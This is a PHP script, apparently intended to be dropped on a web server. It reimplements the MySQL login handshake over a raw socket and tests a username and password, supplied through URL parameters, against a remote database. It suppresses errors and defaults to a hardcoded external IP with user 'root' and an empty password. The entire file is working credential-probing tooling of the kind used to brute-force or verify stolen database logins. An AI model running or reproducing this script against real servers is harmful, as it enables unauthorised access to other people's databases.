<?php @error_reporting(0);@ini_set('display_errors','0');@ini_set('max_execution_time','240');
set_time_limit(240);
function rd($s,$n){ $o=''; while(strlen($o)<$n){ $c=fread($s,$n-strlen($o)); if($c===false||$c==='')break; $o.=$c; } return $o; }
function readpkt($s){
  $h=rd($s,4); if(strlen($h)<4)return null;
  $len=ord($h[0])|(ord($h[1])<<8)|(ord($h[2])<<16);
  $seq=ord($h[3]);
  $pkt=rd($s,$len);
  return array($seq,$pkt);
}
function native_auth($pass,$salt){
  $p1=sha1($pass,true);
  $p2=sha1($p1,true);
  $h=sha1($salt.$p2,true);
  $out=''; for($i=0;$i<20;$i++){ $out.=chr(ord($p1[$i])^ord($h[$i])); }
  return $out;
}
function mysql_try($ip,$user,$pass,$port=3306,$t=6){
  $s=@fsockopen($ip,$port,$e,$es,$t); if(!$s) return "CONNFAIL $e $es";
  stream_set_timeout($s,$t);
  $rp=readpkt($s); if(!$rp) return "NO_GREETING";
  list($seq,$p)=$rp;
  if($p===''||$p===null) return "EMPTY_GREET";
  if(ord($p[0])==0xff){ return "DENY errno=".(ord($p[1])|ord($p[2])<<8)." msg=".@substr($p,9); }
  if(ord($p[0])==0x0a){ $proto=10; } else { return "PROTO_".ord($p[0]); }
  $pos=1; $ver=''; while($pos<strlen($p)&&ord($p[$pos])!=0){ $ver.=chr(ord($p[$pos])); $pos++; } $pos++;
  $pos+=4; // thread id
  $salt1=substr($p,$pos,8); $pos+=8;
  $pos+=1; // filler
  $cap0=ord($p[$pos])|(ord($p[$pos+1])<<8); $pos+=2;
  $charset=ord($p[$pos]); $pos++;
  $pos+=2; // status
  $capu=ord($p[$pos])|(ord($p[$pos+1])<<8); $pos+=2;
  $caps=($capu<<16)|$cap0;
  $alen=ord($p[$pos]); $pos++;
  $pos+=10; // reserved
  $salt2='';
  if($caps & 0x00080000){
    $need=max(13,$alen-8);
    $salt2=substr($p,$pos,$need); $pos+=$need;
    $nz=strpos($salt2,"\0"); if($nz!==false)$salt2=substr($salt2,0,$nz);
  }
  $salt=$salt1.$salt2;
  $cflags=0x00000200 | 0x00008000 | 0x00080000;
  $payload=pack('V',$cflags);
  $payload.=pack('V',0x04000000);
  $payload.=chr(33);
  $payload.=str_repeat("\0",23);
  $payload.=$user."\0";
  $auth=native_auth($pass,$salt);
  $payload.=chr(strlen($auth)).$auth;
  $payload.="\0";
  $payload.="mysql_native_password\0";
  $len=strlen($payload);
  $hdr=chr($len&0xff).chr(($len>>8)&0xff).chr(($len>>16)&0xff).chr(1);
  @fwrite($s,$hdr.$payload);
  $rp2=readpkt($s); if(!$rp2) return "NO_RESP";
  list($seq2,$r)=$rp2;
  if($r===''||$r===null) return "EMPTY_RESP";
  $b=ord($r[0]);
  if($b==0x00){ return "OK_AUTH MySQL $ver"; }
  if($b==0xff){ $en=ord($r[1])|(ord($r[2])<<8); $msg=@substr($r,3); if(ord($msg[0])==0x23)$msg=@substr($r,9); return "ERR $en ".trim($msg); }
  if($b==0xfe){ return "AUTH_SWITCH"; }
  return "UNKNOWN ".bin2hex(substr($r,0,8));
}
$ip=isset($_GET['ip'])?$_GET['ip']:'103.228.64.130';
$user=isset($_GET['u'])?$_GET['u']:'root';
$pass=isset($_GET['p'])?$_GET['p']:'';
$port=isset($_GET['port'])?intval($_GET['port']):3306;
$show=isset($_GET['show'])?true:false;
echo $ip.":".$port." ".$user." ".($show?$pass:str_repeat('*',strlen($pass)))." => ".mysql_try($ip,$user,$pass,$port)."\n";